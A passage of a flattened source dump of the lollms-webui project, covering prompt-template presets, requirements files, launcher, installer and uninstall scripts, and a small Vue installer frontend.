Installation 16 | ## Usage 17 | ## license 18 | ## Contribute 19 | ## Ethical guidelines 20 | Instructions: 21 | Write a user side README.md 22 | Stick to the provided code content and do not invent extra information. 23 | Make sure all sections of the table of contents are present in the file. 24 | ---- 25 | README.md: 26 | ```markdown@<generation_placeholder>@ 27 | ```", 28 | -------------------------------------------------------------------------------- /presets/meeting_minute_builder.yaml: -------------------------------------------------------------------------------- 1 | name: Fix a code 2 | content: | 3 | Minutes builder is a meeting minute writing AI that listens to a meeting content then writes the minute. 4 | Here is a @<Language:all_programming_language_options>@ code: 5 | ``` 6 | @<meeting text>@ 7 | ``` 8 | Instruction:Write the meeting minute. 9 | Meeting minute writer: 10 | ``` 11 | @<generation_placeholder>@", 12 | -------------------------------------------------------------------------------- /presets/qna_with_conditionning.yaml: -------------------------------------------------------------------------------- 1 | name: Q&A with conditionning 2 | content: | 3 | Assistant is a highly developed AI capable of answering any question about any subject. 4 | User:@<What's your question?>@ 5 | Assistant:@<generation_placeholder>@ -------------------------------------------------------------------------------- /presets/simple_book_writing.yaml: -------------------------------------------------------------------------------- 1 | name: Simple Book writing 2 | content: | 3 | # @<Title of the book:The advantures of Gandalf and Darth Vador>@ 4 | @<Start the story:Once apon a time in middle earth>@@<generation_placeholder>@ -------------------------------------------------------------------------------- /presets/simple_question_answer.yaml: -------------------------------------------------------------------------------- 1 | name: Simple Question Answer 2 | content: | 3 | User:@<What is your question:Why is the earth blue?>@ 4 | Assistant:@<generation_placeholder>@ -------------------------------------------------------------------------------- /presets/stable_bulga2_instruct.yaml: -------------------------------------------------------------------------------- 1 | name: StableBulga2 Instruct 2 | content: | 3 | ### 4 | @<Put your system prompt here>@ 5 | 6 | ### User: 7 | @<Put your user prompt here>@ 8 | 9 | ### Assistant: 10 | @<generation_placeholder>@ 11 | 12 | help: | 13 | This is the default StableBulga2 format for instructions. 14 | There are two parameters: 15 | - The first is the system prompt, that conditions the AI. 16 | - The second is the prompt itself. 17 | 18 | author: ParisNeo (adapted from the original StableBeluga2 documentation by Stability AI) -------------------------------------------------------------------------------- /presets/translate_code_file_strings.yaml: -------------------------------------------------------------------------------- 1 | name: Translate code file strings 2 | content: | 3 | Instruction: Translate the comments and values of the @<File type:yaml:json:all_programming_language_options>@ file from @<Source language:all_language_options>@ to @<Destination language:all_language_options>@. 4 | Session 1: 5 | ```@<File type:yaml:json:all_programming_language_options>@ language=english 6 | # This is a comment 7 | parameter_1: this is parameter 1 8 | parameter_2: this is parameter 2 9 | parameter_3: 25 10 | parameter_4: | This is a multi 11 | line parameter 12 | ``` 13 | Translation: 14 | ```@<File type:yaml:json:all_programming_language_options>@ language=french 15 | # Ceci est un commentaire 16 | parameter_1: ceci est le paramètre 1 17 | parameter_2: ceci est le paramètre 2 18 | parameter_3: 25 19 | parameter_4: | Ceci est un paramètre 20 | multiligne 21 | ``` 22 | Session 2: 23 | ```@<File type:yaml:json:all_programming_language_options>@ language=@<Source language:all_language_options>@ 24 | @<Put your yaml data here>@ 25 | ``` 26 | Translation: 27 | ```@<File type:yaml:json:all_programming_language_options>@ language=@<Destination language:all_language_options>@@<generation_placeholder>@ 28 | ``` -------------------------------------------------------------------------------- /presets/translate_text.yaml: -------------------------------------------------------------------------------- 1 | name: Translate text 2 | content: | 3 | ```@<Source language:all_language_options>@ 4 | @<Text to translate>@ 5 | ``` 6 | ```@<Destination language:all_language_options>@ 7 | @<generation_placeholder>@ 8 | ``` -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | numpy==1.26.* 3 | pandas 4 | Pillow>=9.5.0 5 | pyyaml 6 | requests 7 | rich 8 | scipy 9 | tqdm 10 | setuptools 11 | wheel 12 | psutil 13 | pytest 14 | GitPython 15 | ascii-colors>=0.4.2 16 | beautifulsoup4 17 | packaging 18 | 19 | fastapi 20 | uvicorn 21 | python-multipart 22 | python-socketio 23 | python-socketio[client] 24 | python-socketio[asyncio_client] 25 | 26 | pydantic 27 | selenium 28 | tiktoken 29 | 30 | pipmaster>=0.1.7 31 | 32 | safe_store>=2.1.0 33 | freedom-search>=0.1.9 34 | scrapemaster>=0.2.0 35 | freedom_search 36 | lollms_client>=0.7.5 37 | 38 | aiofiles 39 | python-multipart 40 | zipfile36 -------------------------------------------------------------------------------- /requirements_dev.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | datasets 3 | einops 4 | jinja2==3.1.6 5 | numpy>=1.26.0 6 | pandas 7 | Pillow>=9.5.0 8 | pyyaml 9 | requests 10 | rich 11 | safetensors==0.4.1 12 | scipy 13 | sentencepiece 14 | tensorboard 15 | transformers>=4.37.* 16 | tqdm 17 | setuptools 18 | tqdm 19 | psutil 20 | pytest 21 | GitPython 22 | ascii_colors>=0.1.4 23 | beautifulsoup4 24 | packaging 25 | 26 | fastapi 27 | uvicorn 28 | python-multipart 29 | python-socketio 30 | python-socketio[client] 31 | python-socketio[asyncio_client] 32 | 33 | pydantic 34 | selenium 35 | tiktoken -------------------------------------------------------------------------------- /restart_script.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | 5 | def main(): 6 | if len(sys.argv) != 1: 7 | print("Usage: python restart_script.py") 8 | sys.exit(1) 9 | 10 | # Reload the main script with the original arguments 11 | temp_file = "temp_args.txt" 12 | if os.path.exists(temp_file): 13 | with open(temp_file, "r") as file: 14 | args = file.read().split() 15 | main_script = "app.py" 16 | os.system(f"python {main_script} {' '.join(args)}") 17 | os.remove(temp_file) 18 | else: 19 | print("Error: Temporary arguments file not found.") 20 | sys.exit(1) 21 | 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal 3 | :: Check if venv exists 4 | if not exist "venv\Scripts\activate.bat" ( 5 | echo Virtual environment not found. Please run install.bat first. 6 | exit /b 1 7 | ) 8 | 9 | echo welcome to simplified lollms 10 | :: Activate virtual environment 11 | call .\venv\Scripts\activate.bat 12 | 13 | echo Running server 14 | :: Run the app 15 | python app.py 16 | 17 | :: Deactivate is automatic on script end 18 | -------------------------------------------------------------------------------- /scripts/build_wheels.bat: -------------------------------------------------------------------------------- 1 | SET "CMAKE_ARGS=-DLLAMA_CUBLAS=on" && pip wheel llama-cpp-python --wheel-dir=E:/Build 2 | 3 | -------------------------------------------------------------------------------- /scripts/build_wheels_linux.sh: -------------------------------------------------------------------------------- 1 | CMAKE_ARGS="-DLLAMA_CUBLAS=on" pip wheel llama-cpp-python --wheel-dir=~/builds 2 | 3 | -------------------------------------------------------------------------------- /scripts/linux/uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "This will uninstall the environment. Are you sure? [Y/N]" 4 | read choice 5 | if [[ "$choice" =~ [yY] ]]; then 6 | # Download Python installer 7 | printf "Removing lollms conda environment" 8 | conda remove --name lollms --all 9 | echo "OK" 10 | read -p "Press [Enter] to continue..." 11 | else 12 | echo "Please install Python and try again." 13 | read -p "Press [Enter] to continue..." 14 | exit 1 15 | fi 16 | -------------------------------------------------------------------------------- /scripts/macos/install_conda_lib.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Starting LOLLMS Web UI..." 3 | echo " ___ ___ ___ ___ ___ ___ " 4 | echo " /\__\ /\ \ /\__\ /\__\ /\__\ /\ \ " 5 | echo " /:/ / /::\ \ /:/ / /:/ / /::| | /::\ \ " 6 | echo " /:/ / /:/\:\ \ /:/ / /:/ / /:|:| | /:/\ \ \ " 7 | echo " /:/ / /:/ \:\ \ /:/ / /:/ / /:/|:|__|__ _\:\~\ \ \ " 8 | echo " /:/__/ /:/__/ \:\__\ /:/__/ /:/__/ /:/ |::::\__\ /\ \:\ \ \__\ " 9 | echo " \:\ \ \:\ \ /:/ / \:\ \ \:\ \ \/__/~~/:/ / \:\ \:\ \/__/ " 10 | echo " \:\ \ \:\ /:/ / \:\ \ \:\ \ /:/ / \:\ \:\__\ " 11 | echo " \:\ \ \:\/:/ / \:\ \ \:\ \ /:/ / \:\/:/ / " 12 | echo " \:\__\ \::/ / \:\__\ \:\__\ /:/ / \::/ / " 13 | echo " \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ " 14 | echo " By ParisNeo" 15 | 16 | cd "$(dirname "$0")" 17 | 18 | # Better isolation for virtual environment 19 | CONDA_SHLVL="" 20 | PYTHONNOUSERSITE=1 21 | PYTHONPATH="" 22 | PYTHONHOME="" 23 | TEMP="./installer_files/temp" 24 | TMP="./installer_files/temp" 25 | ENV_NAME="lollms" 26 | INSTALL_ENV_DIR="./installer_files/miniconda3/envs/lollms" 27 | MINICONDA_DIR="./installer_files/miniconda3" 28 | 29 | if [ ! -f "$MINICONDA_DIR/bin/activate" ]; then 30 | echo "Miniconda not found." 31 | exit 1 32 | fi 33 | 34 | source "$MINICONDA_DIR/bin/activate" "$ENV_NAME" 35 | cd lollms-webui 36 | 37 | # Set default CUDA toolkit to the one in the environment 38 | CUDA_PATH="$INSTALL_ENV_DIR" 39 | 40 | 41 | read -rp "Conda environment activated" 42 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist-ssr 12 | *.local 13 | 14 | # Editor directories and files 15 | .vscode/* 16 | !.vscode/extensions.json 17 | .idea 18 | .DS_Store 19 | *.suo 20 | *.ntvs* 21 | *.njsproj 22 | *.sln 23 | *.sw? 24 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/README.md: -------------------------------------------------------------------------------- 1 | # Vue 3 + Vite 2 | 3 | This template should help get you started developing with Vue 3 in Vite. The template uses Vue 3 `<script setup>` SFCs, check out the [script setup docs](https://v3.vuejs.org/api/sfc-script-setup.html#sfc-script-setup) to learn more. 4 | 5 | ## Recommended IDE Setup 6 | 7 | - [VS Code](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin). 8 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/dist/assets/logo-VYB8PrVU.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/dist/assets/logo-VYB8PrVU.png -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/dist/index.html: -------------------------------------------------------------------------------- 1 | <!doctype html> 2 | <html lang="en"> 3 | <head> 4 | <meta charset="UTF-8" /> 5 | <link rel="icon" type="image/svg+xml" href="/vite.svg" /> 6 | <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 7 | <title>Vite + Vue 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/dist/vite.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Vite + Vue 8 | 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "frontend", 3 | "private": true, 4 | "version": "0.0.0", 5 | "type": "module", 6 | "scripts": { 7 | "dev": "vite", 8 | "build": "vite build", 9 | "preview": "vite preview" 10 | }, 11 | "dependencies": { 12 | "autoprefixer": "^10.4.16", 13 | "axios": "^1.8.2", 14 | "feather-icons": "^4.29.1", 15 | "flowbite": "^2.2.1", 16 | "postcss": "^8.4.32", 17 | "socket.io-client": "^4.7.3", 18 | "tailwind-scrollbar": "^3.0.5", 19 | "tailwindcss": "^3.4.0", 20 | "vue": "^3.3.11", 21 | "vue-router": "^4.2.5", 22 | "vuex": "^4.1.0" 23 | }, 24 | "devDependencies": { 25 | "@vitejs/plugin-vue": "^5.2.1", 26 | "vite": "^6.3.5" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/postcss.config.js: -------------------------------------------------------------------------------- 1 | export default { 2 | plugins: { 3 | tailwindcss: {}, 4 | autoprefixer: {}, 5 | }, 6 | } 7 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/public/vite.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/App.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 16 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Bold.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-BoldItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Italic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/PTSans/PTSans-Regular.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Black.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Bold.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Italic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Light.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Medium.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Regular.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-Thin.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/python/lollms_installer/frontend/src/assets/fonts/Roboto/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/tailwind.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | @layer base { 6 | html { 7 | @apply scroll-smooth; 8 | } 9 | @font-face { 10 | font-family: 'Roboto'; 11 | src: url('./fonts/Roboto/Roboto-Regular.ttf') format('truetype'); 12 | } 13 | @font-face { 14 | font-family: 'PTSans'; 15 | src: url('./fonts/PTSans/PTSans-Regular.ttf') format('truetype'); 16 | } 17 | } 18 | @layer utilities { 19 | /* Hide scrollbar for Chrome, Safari and Opera */ 20 | .no-scrollbar::-webkit-scrollbar { 21 | display: none; 22 | } 23 | 24 | /* Hide scrollbar for IE, Edge and Firefox */ 25 | .no-scrollbar { 26 | -ms-overflow-style: none; /* IE and Edge */ 27 | scrollbar-width: none; /* Firefox */ 28 | } 29 | 30 | } 31 | .display-none { 32 | @apply hidden; 33 | } 34 | 35 | 36 | h1 { 37 | font-size: 36px; 38 | font-weight: bold; 39 | } 40 | 41 | 42 | 43 | h2 { 44 | font-size: 24px; 45 | font-weight: bold; 46 | } 47 | 48 | h3 { 49 | font-size: 18px; 50 | font-weight: bold; 51 | } 52 | 53 | h4 { 54 | font-size: 18px; 55 | font-style: italic; 56 | } 57 | 58 | /* Include any additional styles you need */ 59 | p { 60 | font-size: 16px; 61 | word-wrap: break-word; 62 | overflow-wrap: break-word; 63 | white-space: normal; 64 | } 65 | 66 | ul { 67 | list-style-type: disc; 68 | margin-left: 0px; 69 | } 70 | 71 | li { 72 | list-style-type: disc; 73 | margin-left: 20px; 74 | } 75 | 76 | ol { 77 | list-style-type: decimal; 78 | margin-left: 20px; 79 | } 80 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/assets/vue.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/main.js: -------------------------------------------------------------------------------- 1 | import { createApp } from 'vue'; 2 | import { createRouter, createWebHistory } from 'vue-router'; 3 | import { createStore } from 'vuex' 4 | import App from './App.vue'; 5 | import Install from './views/Install.vue'; 6 | import './style.css'; 7 | const routes = [ 8 | { 9 | path: '/', 10 | name: 'Install', 11 | component: Install, 12 | }, 13 | ]; 14 | 15 | const router = createRouter({ 16 | history: createWebHistory(), 17 | routes, 18 | }); 19 | 20 | 21 | // Create a new store instance. 22 | export const store = createStore({ 23 | state () { 24 | return { 25 | // count: 0, 26 | } 27 | }, 28 | mutations: { 29 | 30 | }, 31 | getters: { 32 | }, 33 | actions: { 34 | } 35 | }) 36 | 37 | createApp(App).use(router).mount('#app'); 38 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/src/services/websocket.js: -------------------------------------------------------------------------------- 1 | // Project : lollms-webui 2 | // Author : ParisNeo 3 | // Description : 4 | // All websocket stuff can be found here. 5 | // More info can be found here https://socket.io/how-to/use-with-vue 6 | // import { createApp } from 'vue'; 7 | import io from 'socket.io-client'; 8 | 9 | // fixes issues when people not hosting this site on local network 10 | const URL = window.location.origin; 11 | console.log(URL); 12 | const socket = new io(URL, { 13 | reconnection: true, // Enable reconnection 14 | reconnectionAttempts: 10, // Maximum reconnection attempts 15 | reconnectionDelay: 1000, // Delay between reconnection attempts (in milliseconds) 16 | }); 17 | 18 | // const app = createApp(/* your root component */); 19 | 20 | // app.config.globalProperties.$socket = socket; 21 | 22 | // app.mount(/* your root element */); 23 | 24 | export default socket; 25 | 26 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/tailwind.config.js: -------------------------------------------------------------------------------- 1 | /** @type {import('tailwindcss').Config} */ 2 | module.exports = { 3 | content: [ 4 | './index.html', 5 | './src/**/*.{vue,js,ts,jsx,tsx}', 6 | 'node_modules/flowbite-vue/**/*.{js,jsx,ts,tsx}' 7 | ], 8 | 9 | darkMode: 'class', 10 | theme: { 11 | extend: { 12 | colors: { 13 | primary: '#0e8ef0', 14 | 'primary-light': '#3dabff', 15 | secondary: '#0fd974', 16 | accent: '#f0700e', 17 | 'bg-dark': '#132e59', 18 | 'bg-dark-tone': '#25477d', 19 | 'bg-dark-tone-panel': '#4367a3', 20 | 'bg-dark-code-block': '#2254a7', 21 | 'bg-light': '#e2edff', 22 | 'bg-light-tone': '#b9d2f7', 23 | 'bg-light-code-block': '#cad7ed', 24 | 'bg-light-tone-panel': '#8fb5ef', 25 | 'bg-dark-discussion': '#435E8A', 26 | 'bg-dark-discussion-odd': '#284471', 27 | 'bg-light-discussion': '#c5d8f8', 28 | 'bg-light-discussion-odd': '#d6e7ff' 29 | }, 30 | fontFamily: { 31 | sans: ['PTSans', 'Roboto', 'sans-serif'] 32 | }, 33 | container: { 34 | padding: '2rem', 35 | center: true 36 | } 37 | } 38 | }, 39 | plugins: [require('flowbite/plugin'), require('tailwind-scrollbar')], 40 | variants: { 41 | h1: { 42 | fontWeight: 'bold' 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /scripts/python/lollms_installer/frontend/vite.config.js: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite' 2 | import vue from '@vitejs/plugin-vue' 3 | 4 | // https://vitejs.dev/config/ 5 | export default defineConfig({ 6 | plugins: [vue()], 7 | }) 8 | -------------------------------------------------------------------------------- /scripts/python/sd_server.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pathlib import Path 3 | 4 | from ascii_colors import ASCIIColors 5 | from lollms.paths import LollmsPaths 6 | 7 | global_path = Path(__file__).parent.parent.parent / "global_paths_cfg.yaml" 8 | ASCIIColors.yellow(f"global_path: {global_path}") 9 | lollms_paths = LollmsPaths(global_path) 10 | shared_folder = lollms_paths.personal_path / "shared" 11 | sd_folder = shared_folder / "auto_sd" 12 | output_dir = lollms_paths.personal_path / "outputs/sd" 13 | output_dir.mkdir(parents=True, exist_ok=True) 14 | script_path = sd_folder / "lollms_sd.bat" 15 | output_folder = lollms_paths.personal_outputs_path / "audio_out" 16 | 17 | ASCIIColors.red(" ") 18 | ASCIIColors.red(" __ _____ __ __ _____ _____ _____ ____ ") 19 | ASCIIColors.red("| | | | | | | | | __| | __| \ ") 20 | ASCIIColors.red("| |__| | | |__| |__| | | |__ | |__ | | |") 21 | ASCIIColors.red("|_____|_____|_____|_____|_|_|_|_____|_____|_____|____/ ") 22 | ASCIIColors.red(" |_____| ") 23 | 24 | ASCIIColors.red(" Forked from Auto1111's Stable diffusion api") 25 | ASCIIColors.red(" Integration in lollms by ParisNeo using mix1009's sdwebuiapi ") 26 | 27 | 28 | subprocess.Popen(str(script_path) + " --share", cwd=sd_folder) 29 | -------------------------------------------------------------------------------- /scripts/python/xtts_start.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pathlib import Path 3 | 4 | from ascii_colors import ASCIIColors 5 | from lollms.paths import LollmsPaths 6 | 7 | global_path = Path(__file__).parent.parent.parent / "global_paths_cfg.yaml" 8 | ASCIIColors.yellow(f"global_path: {global_path}") 9 | lollms_paths = LollmsPaths(global_path) 10 | output_folder = lollms_paths.personal_outputs_path / "audio_out" 11 | 12 | ASCIIColors.red( 13 | ".____ ________ .____ .____ _____ _________ ____ __________________________________ " 14 | ) 15 | ASCIIColors.red( 16 | "| | \_____ \ | | | | / \ / _____/ \ \/ /\__ ___/\__ ___/ _____/ " 17 | ) 18 | ASCIIColors.red( 19 | "| | / | \| | | | / \ / \ \_____ \ ______ \ / | | | | \_____ \ " 20 | ) 21 | ASCIIColors.red( 22 | "| |___/ | \ |___| |___/ Y \/ \ /_____/ / \ | | | | / \ " 23 | ) 24 | ASCIIColors.red( 25 | "|_______ \_______ /_______ \_______ \____|__ /_______ / /___/\ \ |____| |____| /_______ / " 26 | ) 27 | ASCIIColors.red( 28 | " \/ \/ \/ \/ \/ \/ \_/ \/ " 29 | ) 30 | 31 | ASCIIColors.red(" Forked from daswer123's XTTS server") 32 | ASCIIColors.red(" Integration in lollms by ParisNeo using daswer123's webapi ") 33 | 34 | subprocess.Popen( 35 | [ 36 | "python", 37 | "-m", 38 | "xtts_api_server", 39 | "-o", 40 | f"{output_folder}", 41 | "-sf", 42 | f"{lollms_paths.custom_voices_path}", 43 | ] 44 | ) 45 | -------------------------------------------------------------------------------- /scripts/windows/new_win_run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | @echo Starting LOLLMS Web UI... 3 | echo "Lollms feather" 4 | echo By ParisNeo 5 | 6 | cd /D "%~dp0" 7 | 8 | @rem better isolation for virtual environment 9 | SET PYTHONNOUSERSITE=1 10 | SET "PYTHONPATH=" 11 | SET "PYTHONHOME=" 12 | SET "TEMP=%cd%\installer_files\temp" 13 | SET "TMP=%cd%\installer_files\temp" 14 | 15 | @rem workaround for broken Windows installs 16 | set PATH=%PATH%;%SystemRoot%\system32 17 | 18 | set INSTALL_ENV_DIR=%cd%\installer_files\lollms_env 19 | set LOLLMSENV_DIR=%cd%\installer_files\lollmsenv 20 | 21 | if not exist "%LOLLMSENV_DIR%\bin\lollmsenv.bat" ( 22 | echo LollmsEnv not found. Installing LollmsEnv... 23 | call lollmsenv_install.bat --dir "%LOLLMSENV_DIR%" 24 | ) 25 | 26 | call "%LOLLMSENV_DIR%\bin\lollmsenv.bat" install-python 3.10.11 27 | call "%LOLLMSENV_DIR%\bin\lollmsenv.bat" create-env lollms_env 3.10.11 28 | 29 | @rem Install CUDA 12.4 30 | if not exist "%INSTALL_ENV_DIR%\cuda" ( 31 | echo Installing CUDA 12.4... 32 | powershell -Command "Invoke-WebRequest -Uri 'https://developer.download.nvidia.com/compute/cuda/12.4.0/local_installers/cuda_12.4.0_windows.exe' -OutFile 'cuda_installer.exe'" 33 | cuda_installer.exe -s 34 | move C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v12.4 "%INSTALL_ENV_DIR%\cuda" 35 | del cuda_installer.exe 36 | ) 37 | 38 | @rem set CUDA path 39 | set "CUDA_PATH=%INSTALL_ENV_DIR%\cuda" 40 | set "PATH=%CUDA_PATH%\bin;%PATH%" 41 | 42 | call "%LOLLMSENV_DIR%\bin\lollmsenv.bat" activate lollms_env 43 | cd lollms-webui 44 | 45 | call python app.py %* 46 | 47 | :end 48 | pause -------------------------------------------------------------------------------- /scripts/windows/ui_installer/.gitignore: -------------------------------------------------------------------------------- 1 | Output/* 2 | *.exe 3 | -------------------------------------------------------------------------------- /scripts/windows/ui_installer/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/windows/ui_installer/favicon.ico -------------------------------------------------------------------------------- /scripts/windows/ui_installer/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/scripts/windows/ui_installer/logo.ico -------------------------------------------------------------------------------- /scripts/windows/uninstall.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | echo This will uninstall the environment. Are you sure? [Y/N] 4 | set /p choice= 5 | if /i "%choice%" equ "Y" ( 6 | REM Download Python installer 7 | echo -n 8 | set /p="Removing virtual environment..." nul 2>&1 4 | if %errorlevel% neq 0 ( 5 | echo WSL is not enabled. Enabling it... 6 | dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 7 | echo WSL is now enabled. 8 | ) else ( 9 | echo WSL is enabled and installed. 10 | ) 11 | 12 